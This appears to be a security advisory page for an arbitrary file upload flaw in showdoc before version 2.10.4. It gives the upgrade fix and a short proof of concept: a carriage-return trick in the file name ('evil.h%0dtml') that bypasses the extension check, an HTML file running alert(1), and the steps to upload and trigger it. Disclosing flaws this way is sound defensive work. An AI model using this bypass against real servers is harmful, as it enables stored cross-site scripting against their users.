The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary File Upload vulnerabilities in an interactive lesson.
Start learningUpgrade showdoc/showdoc
to version 2.10.4 or higher.
showdoc/showdoc is a tool for an IT team to share documents online.
Affected versions of this package are vulnerable to Arbitrary File Upload via bypassing the protection in place using a %0d
(carriage return) character in the file name (i.e evil.h%0dtml
).
evil.h%0dtml
.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>Test Upload File</title>
</head>
<body>
<h1>Test upload</h1>
<script>alert(1)</script>
</body>
</html>
Upload the file using the File Library (https://www.showdoc.com.cn/attachment/index
).
Click the check button to open the file in a new tab, and watch the payload (alert(1)
) execute.